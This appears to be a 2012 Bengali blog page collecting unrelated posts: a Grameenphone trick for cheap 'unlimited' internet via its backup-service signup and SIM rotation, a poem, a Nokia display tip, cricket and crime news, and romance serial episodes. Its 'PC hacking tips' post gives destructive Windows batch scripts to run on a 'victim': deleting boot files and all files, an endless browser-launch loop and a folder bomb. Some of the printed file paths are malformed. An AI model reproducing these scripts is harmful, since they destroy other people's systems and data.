Wednesday, February 1, 2012

২৩ টাকায় ৩দিন আনলিমিটেড ডাউনলোড/আপলোড ইন্টারনেট ইউস করুন অথবা ২৩০ টাকায় ১ মাস আনলিমিটেড ইন্টারনেট ইউস করুন (গ্রামীন ফোন)


২৩ টাকায় ৩দিন আনলিমিটেড ডাউনলোড/আপলোড ইন্টারনেট ইউস করুন অথবা ২৩০ টাকায় ১ মাস আনলিমিটেড ইন্টারনেট ইউস করুন (গ্রামীন ফোন)

আছেন কেমন সবাই? গ্রামীন ফোন এর উপরে চেইতা আছেন? তাইলে বাশ দেন গ্রামীন কে। ২৩ টাকায় ৩দিন আনলিমিটেড ডাউনলোড/আপলোড ইন্টারনেট ইউস করুন বা ৩০০টাকায় ১ মাস আনলিমিটেড ইন্টারনেট ইউস করুন (গ্রামীন ফোন কে বাশ দেন)
নিচের সব গুলো লিখা ভালো করে পড়ে নিবেন এক্সট্রা কনো কথা লিখি নাই সব খুব খুব দরকারি।


২৩ টাকায় ৩দিন আনলিমিটেড ডাউনলোড/আপলোড ইন্টারনেট ইউস করুন
১। আপনার মবাইলে ইন্টারনের থাকতে হবে, শুধু থাকলে হবে না p1 একটিভ থাকতে হবে। অন্য কনো প্যাকেজ থাকলে এটা চালু হবে না পরে কেচ কেচ করতে পারবেন না। p1 চালু করতে edge p1 লিখে 5000 সেন্ড করে দিন। (যদি p1 চালু থাকে তাহলে আর প্রবলেম নাই)
(মেসেজ করতে ২টাকা কাটবে)

২। আপনার মেসেজ আপেশনে গিয়ে টাইপ করুন backup সেন্ড করুন 6000 এ (মেসেজ করতে ২টাকা কাটবে, আর সার্ভিসটি একটিভ হতে ২৩টাকা লাগবে তাই মোবাইলে ৩০টাকা রাখুন মিনিমাম নাহয় হবে না)

৩। এখন আপনার কাছে একটা মেসেজ আসবে নিচের মত এখান থেকে লিংক টাতে ক্লিক করে ঠুকে পরেন। লিংক এ ঢুকার পর একটা জিনিস ডাউনলোড করতে বলবে সেটা কেনসাল করে দিবেন অবশ্যই নায়হ আপনার ৪৫টাকা কেটে যাবে। ডাউনলোড কেনসাল করার পর বেলেন্স চেক করুন যদি ২৩টাকা কাটা হয় তাহলে ৩দিন আনলিমিটেড ডাউনলোড/আপলোড ইন্টারনেট ইউস করুন। যদিও একটা মেসেজ দিয়ে আপনাকে কনফার্ম করে দিবে, অনেক মসয় ১০মিনিট লেট হয় মেসেজ টা আসতে তাই বললাম টাকা কাটলেই বুঝে নিবেন একটিভ হয়ে গেছে।

thanks u for ur interest in grameen phone mobile backup service. to proceed with the registration process please click on http://mb.grameenphone.com/mobilebackup/wap using gp WAP connection. if ur handset do not supprt EDGE then send REG to 6000 to subscribe for SMS based backup service only.


নোট:-একটা সিম থেকে ১মাসে একবার ই এটা একটিভ করতে পারবেন। ১মাস শেষ হলে পরে আবার করতে পারবেন। এই ট্রিকসে কেউ ভাববেন না স্পিড কম থাকবে, বরং এটাতে স্পিড বেশী থাকে। মেসেজ করতে না চাইলে মোবিলে থেকে এই লিংক এ গেলেও চলবে। http://mb.grameenphone.com/mobilebackup/wap বাকিটা আগের মত। আরেকটা কথা ১নং অপশনটা দেখে নিতে ভুলবেন না। আরেকটা কথা হলো আপনার হেন্ড সেটে যদি লিংক অনেক করার আপশন থাকে তাহলে মেসেজ করুন নাহয় সরাসরি লিংক এ চলে যান। আরেকটা কথা গ্রামীন ও ডিজুস, মানে গ্রামীনের সকল প্রকার নাইলে এটা হবে পোস্ট পেইডে হবে কিনা জানা নাই। একটি কথা এই সার্ভিস বন্ধ করার জন্য unsub লিখে ৬০০০ ম্যাসেজ পাঠাতে হবে। না হলে তার পরের মাসে ২৩ টাকা কেটে নিবে।

৩০০টাকায় ১ মাস আনলিমিটেড ইন্টারনেট ইউস করুন
খুব ই সিমপল তাই না? জাস্ট গ্রামীন এর ১০টা সিম জগার করুন। তাহলেই হয়ে যাবে।
১০ টা সিম *৩ দিন = ৩০ দিন।
একটা সিম করতে ২৩টাকা (মেসেজ ছারা) * ১০টা সিম = ২৩০টাকা ১মাশ (মেসেজ বার বার করতে হবে না ঐ লিংক এ ক্লিক করলেই হবে)

গ্রামীনের সাইট থেকে খুরে আসুন নিজের আরো বিস্তারিত জেনে আসুন।
https://webserv.grameenphone.com/mobilebackup/default/login.vhtml
আরো দেখুন এখানে
http://www.grameenphone.com/index.php?id=457

ভালবাসা আমাকে কাঁদিয়েছে

ভালবাসা  আমাকে  কাঁদিয়েছে
আজ ফাগুনে তোমার মনে
হয়তো খুশির বান,
তোমার সাথী তোমার সাথে
কাঁদে আমার প্রাণ।
সবুজ পাতার শাখায় বসে
বনের কোকিক ডাকে,
আমার বুকে কষ্ষ্টরা আজ
সুখের স্বপন দেখে।
গোলাপ তুলে দিলেম যাকে
হয়তো সে আজ দুরে
হাজার ফুলের মাঝে সে ফুল
আসবে না আর ঘুরে।
আমার চেনা মুখের ছবি
অচেনা আজ তাই যে,
সুখের তরে ঘর বেধেছে
অন্য কারো আজ সে ।

মারাত্মক পিসি হ্যাকিং টিপস ,এটা হতে সাবধান ।

মারাত্মক পিসি হ্যাকিং টিপস ,এটা হতে সাবধান ।


আসসালামু আলাইকুম ওয়ারাহমাতুল্লাহ, কেমন আছেন আপনারা আশাকরি ভালো .আজ আমি আপনাদের সাথে শেয়ার করব ৫টি জটিল টিপস। কিন্তু আপনাদের কাছে আমার একটাই অনুরুধ যে , এই টিপসগুলো কখনও  কারও ক্ষতির উদ্দেশ্যে ব্যবহার করবেন না। আপনার  যদি টিপসগুলো ভাল জানা থাকে ,তাহলে আপনকে কেহ  সহজে  ফাঁদে ফেলতে পারবে না।

১।একটি পিসিকে চিরজীবনের মেরে ফেলুন

আপনার কম্পিউটার নিচের কোড দিয়ে সারা জীবনের জন্য বন্ধ করে দিতে পারেন । এজন্য নোটপ্যাডে নিচের কোডটুকু  কপি করে পেষ্ট করে pchelpline24.bat নাম দিয়ে সেভ করে বেরিয়ে আসুন।তবে কাজ শেষ।
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

২।এবার র‍্যাম ক্র্যাসিং টিপস

নোটপ্যাডে নিচের কোডটুকু  কপি করে পেষ্ট করে pchelpline24.bat নাম দিয়ে সেভ করে বেরিয়ে আসুন।তবে কাজ শেষ।
আপনার ভিকটিম এটি চালু করলেই কাজ সারা।
:A
start www.funmojabd.com
goto A

৩।সিস্টেমের সকল ফাইলকে মাত্র ৬ অক্ষরের শব্দ দিয়ে তাইরে/নাইরে করে দিন


নোটপ্যাডে নিচের কোডটুকু  কপি করে পেষ্ট করে pchelpline24.bat নাম দিয়ে সেভ করে বেরিয়ে আসুন।তবে কাজ শেষ।
এটি চালু করার কিছু সময়  পর আপনার ভিকটিমের সব সিস্টেম ফাইল মামার দোকানে চা খাইতে চলে যাবে।
del *.*

৪।চখের নিমশে ৩০০ ফোল্ডার বানিয়ে ফেলুন

নোটপ্যাডে নিচের কোডটুকু  কপি করে পেষ্ট করে pchelpline24.bat নাম দিয়ে সেভ করে বেরিয়ে আসুন।তবে কাজ শেষ।এবার একটি ডেকস্টপে এর একটি শর্টকাট তৈরি হবে ,তাতে কিলিক করলে ……………………।।।
@echo off
:top
md %random%
goto top

৫। লিংক কিলিক করলে   পিসি ক্যাসঃ

আপনি একটি লিংক দিয়ে পিসিকে ক্র্যাস করার জন্য নিচের লিংকে ক্লিক সাথে সাথে পিসি ক্র্যাস হয়ে যাবে।আর এই সমস্যা  থেকে মুক্তি পেতে আপনার পিসি রির্ষ্টাট করতে হবে।
তবে অনুরুধ যে , লিংকে ক্লিক করবেন তবে মরবেন , সাথে সাথে  ব্রাউজার বা আপনার সিস্টেম ক্র্যাস হয়ে যাবে ।
 (http://hafizprlworld.blogspot.com)পোষ্টটি ভাল লাগলে মনত্মব্য করতে ভূলবেন না।কারন আপনার একটা মনত্মব্য আমাদের বস্নগকে আরো সুন্দর করতে পারে। ধন্যবাদ সবাইকে। লেখাটি আপনাদের ভাল লেগেছে?

আপনার নোকিয়া মোবাইলের ডিসপ্লেতে থাকবে আপনার নাম।

আপনার নোকিয়া মোবাইলের ডিসপ্লেতে থাকবে আপনার নাম।

আমি নোকিয়া ১১০০, ১৬০০ ইত্যাদি সেটের মতো প্রোফাইলের নাম পরিবর্তন করে ডিসপ্লেতে নাম আনার কথা বলছি না। এইটা একটা ট্রিকস্।
আগেই বলে রাখা ভাল যাদের মোবাইল Push to talk সুবিধাটি আছে তারাই এড করতে পারবে।
যেসকল মোবাইলে ইন্টারনেট আছে সেগুলাতে সাধারনত Push to talk থাকার কথা।
যাই হোক যেভাবে এড করবেন।
১। প্রথমে আপনি যে নাম ডিসপ্লেতে রাখতে চাচ্ছেন সে নামটি যে কোন নাম্বার দিয়ে (যেমন ১, ২ ইত্যাদি) Contacts এ সেভ করুন।
২। চলে যান Push to talk এর PTT settings এ।
৩। এবার দেখেন PTT key Default function নামে একটি অপশন আছে সেখানে ঢুকুন।
৪। এখান থেকে Select করুন Call contacts/group এ ।
৫। Choose contact or group to be called আসবে অর্থাৎ আপনাকে Contacts থেকে একটি নাম Select করতে বলছে Push to talk এ Call করার জন্য। But আপনি এখানে আপনার নামটি সিলেক্ট করে দিবেন।
এবার Home ডিসপ্লেতে চলে এসে দেখুন Operator এর ঠিক নিচেই আপনার Selected নাম টি Show হচ্ছে।
ট্রিকস্ টি ভাল লাগলে মন্তব্য করবেন।

এ সপ্তাহের তারকা রিকি পন্টিং


এ সপ্তাহের তারকা রিকি পন্টিং

রিকি পন্টিং রিকি পন্টিং
ফুরিয়ে গেছেন, শেষ হয়ে গেছেন। বড় মাপের খেলোয়াড়দের নিয়ে এমনটা কখনোই বলতে নেই। এ কথার যথার্থতা অনেকবারই প্রমাণিত। আরও একবার প্রমাণ দিলেন রিকি পন্টিং। বড় ইনিংস খেলতে পারছিলেন না বলে শুধু সমালোচনার তিরে জর্জরিত করাই নয়, দল থেকে সাবেক অধিনায়ককে বাদ দেওয়ার দাবিও তুলেছিলেন অনেকে। সেই পন্টিংয়ের ব্যাটেই এখন রানের ফোয়ারা। ৩৩ ইনিংস, সময়ের হিসাবে প্রায় দুই বছর পর সিডনি টেস্টে সেঞ্চুরি পাওয়া পন্টিংয়ের ব্যাট হাসল অ্যাডিলেডেও। ভারতের বিপক্ষে সিরিজের শেষ টেস্টে অস্ট্রেলিয়ার প্রথম ইনিংসে সর্বোচ্চ ২২১ রান করেছিলেন। দ্বিতীয় ইনিংসেও সর্বোচ্চ স্কোরার (অপরাজিত ৬০)। পন্টিং ছাড়া আর কে হতে পারেন এ সপ্তাহের তারকা!

 

মুখের কথায় ফেসবুক স্ট্যাটাস!

মুখের কথায় ফেসবুক স্ট্যাটাস!

ফেসবুকে একটা স্ট্যাটাস দিতে ইচ্ছা করছে, কিন্তু কম্পিউটারে বা মুঠোফোনে কিবোর্ডে হাত দিয়ে স্ট্যাটাসটি কম্পোজ করতে ইচ্ছা করছে না তাই তো। এমন যদি হতো, আপনি যা বলছেন তা শুনে নিজে নিজেই কম্পোজ হয়ে গেল স্ট্যাটাসটি। হ্যাঁ পাঠক, এটি সম্ভব আপনি যদি অ্যান্ড্রয়েড অপারেটিং সিস্টেমচালিত মুঠোফোন ব্যবহার করে থাকেন তাহলে এটি খুব সহজেই সম্ভব। এ জন্য আপনাকে ‘স্ট্যাটাস এমসি’ সফটওয়্যারটি নামিয়ে নিতে হবে অ্যান্ড্রয়েড মার্কেট থেকে।
এই সফটওয়্যার সংগ্রহের জন্য https://market.android.com/details?id=com.coolbeans.fbstatus&hl=en এ ঠিকানায় যেতে হবে। এ সফটওয়্যারটি বিনা মূল্যে পাওয়া যাবে। এর আকার মাত্র ১১২ কিলোবাইট।
শুধু ইংরেজিতেই ফেসবুক স্ট্যাটাস আপডেট করা যাবে এ সফটওয়্যারের সাহায্যে। আর ফোনের ব্রাউজারে আগে থেকেই ফেসবুকে লগ ইন করা থাকতে হবে। অ্যান্ড্রয়েড মার্কেটে এ সফটওয়্যারটির রেটিং ৪.২ (৫ এর মধ্যে)।

টি-টোয়েন্টিতেও ভারতের হার


টি-টোয়েন্টিতেও ভারতের হার

উইকেট শিকার করে অস্ট্রেলিয়ার ব্রেট লির নৃত্য উইকেট শিকার করে অস্ট্রেলিয়ার ব্রেট লির নৃত্য
হারের বৃত্ত থেকে বেরিয়ে আসা হলো না ভারতীয় দলের। অস্ট্রেলিয়ার বিপক্ষে চার ম্যাচের টেস্ট সিরিজে হোয়াইটওয়াশ হওয়ার পর আজ টি-টোয়েন্টিতে ৩১ রানে হেরেছে মহেন্দ্র সিং ধোনির দল।
দুই ম্যাচ সিরিজের প্রথম টি-টোয়েন্টিতে ব্যাটে-বলে সবদিকেই ব্যর্থতার পরিচয় দিয়েছেন ভারতীয় ক্রিকেটাররা। ভারতীয় বোলারদের হতাশায় ডুবিয়ে ৪ উইকেটে ১৭১ রান তুলেছিল টসে হেরে প্রথমে ব্যাট করার সুযোগ পাওয়া অস্ট্রেলিয়া। এর পর এককথায় অসহায় আত্মসমর্পণ করেন ভারতীয় ব্যাটসম্যানরা। খুঁড়িয়ে খুঁড়িয়ে শেষ পর্যন্ত ভারতের সংগ্রহ দাঁড়ায় ৬ উইকেটে ১৪০ রান।
ভারতীয় ব্যাটসম্যানদের মধ্যে একাই লড়েছেন ধোনি। সতীর্থ ব্যাটসম্যানদের আসা-যাওয়ার মধ্যেও এক প্রান্ত আগলে রেখে অপরাজিত ৪৮ রানের ইনিংস খেলেন ভারতীয় অধিনায়ক। এ ছাড়া উল্লেখযোগ্য স্কোর বলতে কোহলির ২২ ও গম্ভীরের ২০। অস্ট্রেলিয়ার হয়ে ক্রিস্টিয়ান ও হাসি প্রত্যেকে দুটি করে উইকেট শিকার করেন। একটি করে উইকেট নেন ব্রেট লি ও হগ।
অস্ট্রেলিয়ার বড় সংগ্রহের প্রধান কারিগর ছিলেন ম্যাথু ওয়েড। সাজঘরে ফেরার আগে তরুণ এই ব্যাটসম্যান সংগ্রহ করেন ৭২ রান। ডেভিড হাসি ৪২ রান করেন। ডেভিড ওয়ার্নারের সংগ্রহ ২৫ রান। ভারতের হয়ে রবিচন্দ্রন অশ্বিন, বিনয় কুমার, সুরেশ রায়না, রাহুল শর্মা ও রোহিত শর্মা প্রত্যেকে একটি করে উইকেট নেন। ওয়েবসাইট।

 

লালপুরে ব্র্যাককর্মিকে গুলি করে টাকা ছিনতাই

লালপুরে ব্র্যাককর্মিকে গুলি করে টাকা ছিনতাই

নাটোর প্রতিনিধি : লালপুরে এক ব্র্যাককর্মিকে গুলি করে কিসি-র টাকা ছিনিয়ে নিয়েছে সন্ত্রাসীরা। গতকাল শনিবার দুপুর পৌনে ১টায় উপজেলার মহিষাকোলা এলাকায় এ ঘটনা ঘটে। আহত ব্র্যাককর্মির নাম আব্দুল মজিদ (৪৫)। তিনি ব্র্যাক লালপুর এরিয়া অফিসের কর্মসূচি সংগঠক। আশংকাজনক অবস’ায় তাকে রাজশাহী মেডিক্যাল কলেজ হাসপাতালে ভর্তি করা হয়েছে।
লালপুর থানার ওসি তরিকুল ইসলাম বলেন, ব্র্যাক লালপুর এরিয়া অফিসের কর্মসূচি সংগঠক আব্দুল মজিদ গতকাল শনিবার দুপুরে লাল-পুর উপজেলার চামটিয়া ও গৌরীপুর গ্রাম থেকে গ্রাহকদের কিসি-র টাকা তুলে সাইকেলযোগে অফিসে ফির-ছিলেন। পথে মহিষাকোলা এলাকায় মোটর সাইকেল আরোহী ৩ জন সন্ত্রাসী আব্দুল মজিদের  পথরোধ করে। এ সময় সন্ত্রাসীরা আব্দুল মজিদের পেটে ও হাতে গুলি করে তার কাছে থাকা টাকার ব্যাগ ছিনিয়ে নিয়ে যায়। আহত আব্দুল মজিদ বলেন, ওই ব্যাগে ৫০ হাজার টাকা ছিল। স’ানীয় লোকজন আহত মজিদকে  উদ্ধার করে প্রথমে লাল-পুর স্বাস’্য কমপ্লেক্স ও পরে রাজশাহী মেডিকেল কলেজ হাসপাতালে ভর্তি করেন।

মিস কলঃ একটি ভালোবাসার কথা।-২০

মিস কলঃ একটি ভালোবাসার কথা।-২০

 

বেশ কয়েকদিন যাবৎ রুবি খুব ফুরফুরে মেজাজে কাজ করছে রেষ্টোরেন্টে।
তার এমন পরিবর্তন দেখে এলিনাও খুব অবাক হয়।
কিন্তু কিছুই জিজ্ঞেস করে না রুবিকে।
এমন কি রুবি নিজেও কিছু বলে নি।
সে শুধু রাজুর কথাই ভাবে। রাজুর সাথে তার আবার যোগাযোগ হবে, তা স্বপ্নেও সে ভাবে নি কখনো।
অনেকদিন পর সে এলিনাকে এই কথাটা বললো। তার কথা শোনে এলিনা তো মহাখুশী।
এলিনা বললো,’ সত্যি বলছো?’
‘হ্যা।’ রুবি বলে,’ তোমাকে ঠিক বুঝাতে পারবো না যে, আমি কতটুকু আনন্দিত!’
‘তোমার কথা শোনে আমার নিজেরও খুব আনন্দ লাগছে।’ এলিনা বলে,’ তা, কিভাকে রাজুর সাথে যোগাযোগটা করলে? একটু খোলে বলো তো। আমি নিশ্চিত বিষয়টা নিশ্চয় ইন্টারেস্টিং হবে।’
রুবি বলে,’বিষয়টা ইন্টারেস্টিং কি না জানি না। রাজু এখন দেশে। সে তার পুরনো সীম কার্ড ওপেন করেছে। আমি একদিন সেই নাম্বারে কল দিতে গিয়ে বুঝতে পারলাম। সে সীম কার্ডটা ওপেন করেছে।’
‘গ্রেট। আমি কিন্তু একটা বিষয় চিন্তা করে খুবই একসাইটেড হচ্ছি।’
‘কি সেটা?’
‘তোমাদের দুজনের ডেটিং।’
‘হঠাৎ আমাদের ডেটিং নিয়ে তোমার এত মাথাব্যথা কেন?’
‘একটু চিন্তা করো, চলতি পথে হঠাৎ তোমাদের দুজনের দেখা হলো, কিন্তু কেউ কাউকে চিনতে পারলে না। একবার ভাবো তো সিচুয়েশনটা কেমন হবে?’
রুবি সত্যি সত্যি এলিনার কথামতো চোখ বন্ধ করে বিষয়টা নিয়ে ভাবতে চেষ্টা করলো।
এমন সময় তাদের ম্যানেজার এসে রুবিকে বলে,’কি রুবি সারাক্ষণ গল্প করলেই কি চলবে নাকি? কাজ করতে হবে না?’
‘যাচ্ছি স্যার।’ বলেই রুবি চলে গেলো।
লাঞ্চ টাইমে রুবি আর এলিনা একসাথে খাবার খেতে বসলো।
রুবি বললো, ‘এলিনা, তোমার কথাটা নিয়ে অনেকক্ষণ ভেবেছি।’
এলিনা খেতে খেতে বললো,’কোন কথাটা?’
‘ঐ যে তখন তুমি বলেছিলে।’
‘কি বলেছিলাম?’
‘চলতি পথে যদি আমাদের দুজনার দেখা হয়, আর তখন রাজু যদি আমাকে না চিনতে পারে….. বলেই রুবি চুপ হয়ে গেলো।
এলিনা বললো,’তারপর?’
‘আমার খুব কষ্ট লাগবে তখন।’ রুবি খুব আস্তে করে কথাটা বলে।
রুবির কথাটা শোনে এলিনা হেসে ফেলে।
তারপর সে বলে,’ আরে আরে! তুমি তো দেখছি খুব সিরিয়াস হয়ে গেলে আমার কথাটা শোনে। আমি তো জাষ্ট ফান করেছি মাত্র।’
রুবি বলে,’ তুমি আর যা-ই বলো, বিষয়টা কিন্তু খুব ভাবাচ্ছে আমাকে।’
‘আহা! বাদ দাও তো এসব আজেবাজে চিন্তা। প্রার্থনা করি, রাজু তোমাকে দেখেই যেনো বুকে টেনে নেয়।’
রুবি আর কিছু বললো না।
রুবি মাত্র কাজ সেরে বাসায় এসে নিজের রুমে গেলো।
একটু পরে তার বাবা আসলো তার রুমে।
তার বাবা কোন ভুমিকা ছাড়াই বলতে শুরু করলো,’তুই কি শেষ পর্যন্ত আমার নামটা ডুবাবি নাকি? আমাকে কি একটু শান্তিতে থাকতে দিবি না নাকি?’
রুবি তার বাবার কথার মমার্থ কিছুই বুঝতে পারলো না।
তাই সে বললো,’আমি আবার কি করলাম?’
তার বাবা বললো,’ তুই অবশ্যই বুঝতে পারছিস আমি কোন বিষয়ে কথা বলছি।’
‘সত্যি বলছি, আমি কিছুই বুঝতে পারি নি।’
তার এ কথা শোনে তার বাবা রেগে গেলো।
তিনি খুব উচ্চ স্বরে বললেন,’তুই নাকি ঐ বেয়াদব ছেলেটার সাথে যোগাযোগ করা শুরু করেছিস? তোর লজ্জা শরম নেই? তুই কি সব ভুলে গেছিস?’
রুবি এবার বুঝতে পারলো যে, তার বাবা রাজু সম্পর্কে বলছে। তাই সে চুপচাপ মাথা নীচু করে বাবার কথা শুনছে।
তার বাবা আরো বললো,’ তোর এতো সাহস হলো কি করে? তুই কি সব ভুলে গেছিস? ঐ ছেলের কারণে তোর বিয়েটা ভেঙ্গে গেছে।’ বলেই তিনি রুবির রুম থেকে বের হয়ে যেতে লাগলেন। যেতে যেতে তিনি বললেন,’ একবার ঐ ছেলেকে হাতের কাছে পেয়ে নেই। তারপর মজা দেখাবো!’
রুবির বাবা বের হয়ে যেতেই রুবি তার রুমের দরজাটা বন্ধ করে বিছানায় শুয়ে রাজুর কথা ভাবলো।
তারপর ফোনটা বের করে কল দিলো রাজুকে।
রুবি ভাবলো রাজু যেনো তার কলের অপেক্ষায় ছিল। রিং হবার আগেই সে তার কল রিসিভ করলো।
রুবি অবাক হয়ে বললো,’কি ব্যাপার? রিং না হতেই আাপনি আমার কল রিসিভ করলেন কিভাবে?’
রাজু বললো,’ রিং হয়েছে তো?’
‘তাহলে, আমি শুনতে পাই নি কেন?’
রাজু বিষয়টা ব্যাখ্যা করে। সে বলে,’ আমি আসলে মোবাইলে গেম খেলছিলাম; এমন সময় কল আসতে দেখে, সাথে সাথে খেলা বাদ দিয়ে কলটা রিসিভ করলাম।’
‘ও আচ্ছা।’ রুবি বলে,’ এবার আপনার খবর বলুন?’
রাজু একটু হতাশ কন্ঠে বলে,’ আমার মতো অভাগার আবার কি খবর?’
‘কেন? কোন খবর নেই নাকি?’
‘না, তেমন কোন খবর নেই।’
‘কেন? আপনার ওয়াইফ এর খবর? বাচ্চাদের খবর কি বলা যায় না।’
রুবির কথা শোনে রাজু বললো,’ তোমার কথা শোনে আমার খুব হাসি পাচ্ছে। কিন্তু হাসতে পারছি না।’
‘কেন?’ রুবি জানতে চাইলো,’কোন সমস্যা আছে নাকি?’
‘কেন আবার?’
‘হ্যা কেন? বলুন?’
‘শোন! একজনের কথা ভাবতে ভাবতে কিভাবে যে, আমার তিনটা বছর কেটেছে……। বলেই রাজু থামলো।
তার কথা শোনে রুবি মনে মনে খুব খুশি হলো। তার কাছে মনে হলো রাজু হয়তো তার কথাই ভেবেছে। তারপরও বিষয়টা নিশ্চিত হবার জন্য রুবি একটু দুষ্টামীর আশ্রয় নিয়ে বলে,’সেই লাকি পারসনটা কে? বলা যাবে আমাকে?’
রাজু বললো,’ কেন? তুমি কি জানো? কে হতে পারে?’
‘আমি কি করে বলবো? আমি কি আপনার মনের কথা পড়েছি নাকি?’
‘শোন, মনের সাথে যদি মনের টান থাকে. তাহলে এমনিতেই মনের কথা বুঝা যায়।
‘বাহ! দারুন কথা তো। সেই লাকি পারসনটাকে কি এরকম কথা বলেই কি পাগল করছেন নাকি?’ বলেই রুবি একটু হাসলো।
তার হাসি শোনে রাজু বললো,’হাসলে কেন?’
‘না, এমনি।’
রাজু এখনো রুবির দুষ্টামী ধরতে পারে নি দেখে রুবি মোবাইলটা কানের কাছ থেকে সরিয়ে একটু হাসলো। তারপর মোবাইলটা আবার কানের কাছে ধরে, সে বললো,’ হ্যা, কি যেনো বলছিলেন?’
রাজু বললো,’ আমার লাকি পারসনকে নিয়ে কথা বলছিলাম।’
‘এবার বলুন, কিভাবে তাকে পাগল করলেন?’
‘পাগল আর করলাম কোথায়?’
‘কেন?’
‘তার আগেই তো বিদেশ চলে গেলাম।’
‘তাই বলে একবারে না বলে?’ রুবি বলে।
‘আসলে, ঐ মুহুর্তে আমি তার সাথে কথা বলার সুযোগ পাই নি।’
‘বিদেশ গিয়েও কিন্তু ফোন করতে পারতেন, তাই না?’
‘হ্যা পারতাম।’
‘কিন্তু করেন নি কেন?’
‘ওখানেও একটা সমস্যা ছিল।’
‘কি সমস্যা? বলা যাবে কি? নাকি বিদেশী ম্যাম দেখেই সেই বেচারীর কথা ভুলে গিয়েছিলেন।’
তার এ কথাটা শোনে রাজু একদম চুপ হয়ে গেলো।
রুবি ভাবলো রাজু হয়তো কল কেটে দিয়েছে। তারপরও নিশ্চিত হবার জন্য সে দ্রুত মোবাইলটা চেক করলো। সে বুঝতে পারলো যে, রাজু এখন কল কাটে নি।
তারপর সে মোবাইলটা কানে দিয়ে দিয়ে কাদতে কাদতে বলে,’হ্যালো, আমার ভুল হয়ে গেছে। আমাকে মাফ করে দিন প্লিজ। আমি আসলে এতোক্ষণ দুষ্টামী করছিলাম আপনার সাথে ।’
রাজুও কাদতে কাদতে বললো,’এমন দুষ্টামী আর কখনো করো না প্লিজ। তুমি জানো বিদেশ গিয়েও আমি এক সেকেন্ডের জন্যও তোমাকে ভুলতে পারি নি। সারাক্ষণ শুধু তোমার কথা মনে পড়েছে।’
‘তাহলে ফোন করো নি কেন আমাকে?’ নিজের অজান্তে রুবি এই প্রথম রাজুকে ‘তুমি’ বলে সম্বোধন করলো।
বিষয়টা খেয়াল করে রাজু বললো,’ কি বললে তুমি একটু আগে?’
রুবি নিজেও ব্যাপারটা বুঝতে পারে নি। সে ভাবলো, তার শোনে রাজু হয়তো রাগ করেছে। তাই সে একটু ভয়ে ভয়ে বলে,’আমি আবার কি বললাম? আমি শুধু জানতে চেয়েছি, আপনি আমাকে ফোন করেন নি কেন, তা জানতে চেয়েছি?’
‘না, তুমি এটা বলো নি?’
‘তাহলে কি বলছি?’
‘তুমি নিজে ভেবে দেখো।’
রুবি ভেবে দেখলো যে, তার অজান্তেই তার মুখ থেকে ‘তুমি’ শব্দটা উচ্চারিত হয়েছে।
তাকে চুপ থাকতে দেখে অপর প্রান্ত থেকে রাজু বললো,’হ্যালো, কেটে দিলে নাকি?’
রুবি বললো,’না।’
‘তাহলে চুপ হয়ে গেলে যে।’
‘তুমি না বললে চুপ করে থাকতাম।’
‘থ্যাংকস।’
‘কি জন্য?’
‘আমাকে তুমি বলার জন্য।’
‘এবার বলো, তুমি ফোন করো নি কেন?’
‘আসলে, জানি না, তুমি বিশ্বাস করবে কি না আমার কথা। তারপরও বলি, বিদেশ গিয়ে আমি অদ্ভুত এক সমস্যায় পড়েছিলাম।’
‘কি সেটা?’
‘ভাষা।’
‘মানে!’
‘অর্থাৎ, ওখানে গিয়ে প্রথম একমাস বাংলায় কথা বলার মতো কোন মানুষ খুজে পাই নি।’
‘কেন?’
‘ওখানে আমি যেখানে কাজ করতাম, মালিক ছিল এরাবিয়ান; আরবী ছাড়া কিছুই বুঝে না। আর তার ড্রাইভার ছিল ইন্ডিয়ান। সেও হিন্দি ছাড়া আর কিছুই বুঝে না। একদিন কি হয়েছে? জানো?’
‘কি?’
‘আমি ড্রাইভার লোকাটাকে ইংরেজিতে বললাম যে, আমি বাড়িতে ফোন করবো। কিন্তু লোকটা উল্টা বুঝলো। সে ভাবলো, আমি হয়তো বাড়িতে ফোন করেছি। তারপর জানতে চাইলো আমি বিবাহিত কিনা?’
‘তুমি কি জবাব দিলে?’
‘হ্যা বলছি।’
রাজু কথা শোনে রুবি খুব কষ্ট পেলো।
সে রাজুকে বললো,’তাহলে তুমি মিথ্যে বললে কেন আমার সাথে?’
রাজু বুঝতে পারলো রুবি রেগে গেছে তার কথা শোনে। তাই সে তাকে সান্তনা দেবার উদ্দেশ্যে বলে,’ আরে রাগ করছো কেন? আমি কি বলছি সেটার ব্যাখ্যাটা তো শুনবে আগে।’
রুবি বললো,’ থাক, আমি আর কোন কথা শুনতে চাই না তোমার। তুমি তোমার ওয়াইফ নিয়ে থাকো।’
‘প্লিজ, আমার কথাটা একটু মনোযোগ দিয়ে শোন।’
‘ওকে। আমি এখন রাখবো। বাই।’
‘আমার ওয়াইফটা কে? জানো? আমার হচ্ছো তুমি। আমি সব সময় তোমাকেই আমার ওয়াইফ হিসেবে ভেবেছি।
রাজুর কথাটা শোনে রুবির মাথাটা ঠান্ডা হলো।
রুবি বললো,’ তাহলে তুমি ঐ লোকটাকে হ্যা বললে কেন?’
‘কারণ, তখন আমি হিন্দী বুঝতাম না, যখন হিন্দী ভাষা শিখলাম, তখন ঐ লোকটার কথাগুলো মনে করে একা একা খুব হেসেছি।’
‘আমাকে ক্ষমা করে দাও। না যেনো তোমাকে আঘাত দিয়েছি।’
‘ওকে।’ রাজু বললো।
(পর্ব-২০ সমাপ্ত)

 

মিস কলঃ একটি ভালোবাসার কথা।-১৯

মিস কলঃ একটি ভালোবাসার কথা।-১৯

রাজুদের ঘরে একটা পুরনো টেবিল রয়েছে। টেবিলটাকে রং করার জন্য সে তা উঠানে বের করলো। টেবিলে একটা ড্রয়ারও রয়েছে।
ছোট্ট একটা তালা লাগানো তাতে।
রাজু হাতুরী এনে তালাটা ভেঙ্গে ড্রয়ারটা খুললো।
ড্রয়ারে তেমন কিছু ছিল না। শুধু একটা পুরনো সীম কার্ড ছিল।
রাজু সীম কার্ডটা হাতে নিয়ে উল্টে পাল্টে দেখলো।
ভালো, নাকি খারাপ। তা সে বুঝতে পারলো না।
ঘরে এসে সে সীম কার্ডটা তার নিজের মোবাইলে ঢুকালো।
আর সাথে সাথে একটা এসএমএস আসলো মোবাইলে।
